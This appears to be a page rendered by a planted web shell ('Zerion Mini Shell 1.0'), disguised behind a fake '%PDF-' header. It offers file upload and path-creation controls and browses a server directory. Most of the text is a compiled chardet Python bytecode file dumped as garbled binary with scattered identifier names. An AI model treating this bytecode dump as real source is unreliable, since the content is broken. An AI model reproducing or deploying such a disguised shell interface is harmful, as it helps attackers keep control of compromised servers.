%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core/17212/usr/lib/python3/dist-packages/chardet/__pycache__/
Upload File :
Create Path :
Current File : //snap/core/17212/usr/lib/python3/dist-packages/chardet/__pycache__/hebrewprober.cpython-35.pyc



a�T/4�@s�ddlmZddlmZmZddlmZdZdZdZ	dZ
dZd	Zd
Z
dZdZd
ZdZdZdZdZGdd�de�ZdS)�)�
CharSetProber)�eNotMe�
eDetecting)�wrap_ord�������������������g{�G�z�?z
ISO-8859-8zwindows-1255c@speZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�HebrewProbercCs-tj|�d|_d|_|j�dS)N)r�__init__�_mLogicalProber�_mVisualProber�reset)�self�r�6/usr/lib/python3/dist-packages/chardet/hebrewprober.pyr�s
		zHebrewProber.__init__cCs(d|_d|_d|_d|_dS)N�� )�_mFinalCharLogicalScore�_mFinalCharVisualScore�_mPrev�_mBeforePrev)rrrrr�s			zHebrewProber.resetcCs||_||_dS)N)rr)rZ
logicalProberZvisualProberrrr�set_model_probers�s	zHebrewProber.set_model_proberscCst|�tttttgkS)N)r�	FINAL_KAF�	FINAL_MEM�	FINAL_NUN�FINAL_PE�FINAL_TSADI)r�crrr�is_final�szHebrewProber.is_finalcCst|�ttttgkS)N)r�
NORMAL_KAF�
NORMAL_MEM�
NORMAL_NUN�	NORMAL_PE)rr%rrr�is_non_final�szHebrewProber.is_non_finalcCs�|j�tkrtS|j|�}x�|D]�}|dkr�|jdkr�|j|j�rq|jd7_q�|j|j�r�|jd7_n<|jdkr�|j|j�r�|dkr�|jd7_|j|_||_q,Wt	S)Nrr)
�	get_staterZfilter_high_bit_onlyrr&rrr+rr)rZaBufZcurrrr�feed�s 

zHebrewProber.feedcCs�|j|j}|tkr tS|tkr1tS|jj�|jj�}|tkr]tS|tkrntS|dkr~tStS)Ng)	rr�MIN_FINAL_CHAR_DISTANCE�LOGICAL_HEBREW_NAME�VISUAL_HEBREW_NAMErZget_confidencer�MIN_MODEL_DISTANCE)rZfinalsubZmodelsubrrr�get_charset_name�s

zHebrewProber.get_charset_namecCs2|jj�tkr.|jj�tkr.tStS)N)rr,rrr)rrrrr,szHebrewProber.get_stateN)�__name__�
__module__�__qualname__rrrr&r+r-r2r,rrrrr�s

;rN)Z
charsetproberrZ	constantsrr�compatrr r'r!r(r"r)r#r*r$ZNORMAL_TSADIr.r1r0r/rrrrr�<module>s"d

Zerion Mini Shell 1.0